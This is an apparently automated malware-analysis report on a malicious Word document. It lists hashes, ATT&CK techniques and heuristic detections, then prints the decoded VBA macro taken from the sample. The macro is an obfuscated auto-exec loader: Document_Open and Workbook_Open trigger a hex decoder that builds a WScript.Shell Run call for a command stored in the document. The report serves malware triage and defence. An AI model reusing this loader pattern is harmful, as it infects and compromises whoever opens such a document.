Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28cf8b3d30351dc6…

MALICIOUS

Office (OLE)

50.5 KB Created: 2018-06-29 08:02:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 65b05be9d75d5ee49812d5b42d7761ca SHA-1: 979a21a3672d3410d429491174c8733a23090088 SHA-256: 28cf8b3d30351dc60f7c192af54eb81a2eb4a62972329e0306772aa7eb0a99b3
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains heavily obfuscated VBA macros, including auto-executing functions like Document_Open and Workbook_Open. These macros utilize CreateObject and CallByName, indicative of attempts to execute arbitrary code. The presence of an obfuscated auto-exec loader and the ClamAV detection signature 'Xls.Malware.Valyria-6700361-0' strongly suggest malicious intent, likely to download and execute a second-stage payload.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2912 bytes
SHA-256: 2ac94fe41919630aedc203b81fe92aed5c252d7d2867bbfc22123712b07edd67
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function TOLZZR() As String
Dim xxxTOLZZR As String
aTOLZZR = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbTOLZZR = aTOLZZR
DimDimMsgBox (adc(aTOLZZR & myTOLZZR, 333))
End Function

Private Function IALOSJ() As String
Dim xxxIALOSJ As String
aIALOSJ = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbIALOSJ = aIALOSJ
DimDimMsgBox (adc(aIALOSJ & myIALOSJ, 333))
End Function

Sub Workbook_Open()
    JWCA_
End Sub
Private Function VBSIVH() As String
Dim xxxVBSIVH As String
aVBSIVH = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbVBSIVH = aVBSIVH
DimDimMsgBox (adc(aVBSIVH & myVBSIVH, 333))
End Function

Public Sub Document_Open()
    Application.Run OX_("A5B29E9CBA")
End Sub
Private Function THXEPV() As String
Dim xxxTHXEPV As String
aTHXEPV = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbTHXEPV = aTHXEPV
DimDimMsgBox (adc(aTHXEPV & myTHXEPV, 333))
End Function

Sub JWCA_()
    CallByName CreateObject(OX_("B2AEBECDC4CBCF89AEC3C0C7C7")), OX_("ADD0C9"), VbMethod, OX_(ActiveDocument.Variables("SBFGHQAU").Value), 0, True
End Sub
Private Function HOMZMA() As String
Dim xxxHOMZMA As String
aHOMZMA = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbHOMZMA = aHOMZMA
DimDimMsgBox (adc(aHOMZMA & myHOMZMA, 333))
End Function

Public Function OX_(ByVal I_ As String)
   Dim T_ As String
   Dim WJW_ As Long
   For WJW_ = 1 To Len(I_) Step 2
        Dim M_ As Long: M_ = CLng(Chr(38) & Chr(72) & Mid(I_, WJW_, 2))
        T_ = T_ & Chr(M_ - 91)
   Next
   OX_ = T_
End Function
Private Function GJJYMM() As String
Dim xxxGJJYMM As String
aGJJYMM = "6AA0AA817B6A376AA57A6A9A4F6A3C696D6A6A4A6A6A8D4A6A3A486A5F6A6A5C776A6A6A926A38786A9B3B8F6A406A6A6A3E6A6A6A6A6A5C5C6A6A307097316A4D6A6A486A6A336A6A37A97D6A4B6A6A5EA46A566F9A6A682B9F60"
Dim cxbGJJYMM = aGJJYMM
DimDimMsgBox (adc(aGJJYMM & myGJJYMM, 333))
End Function

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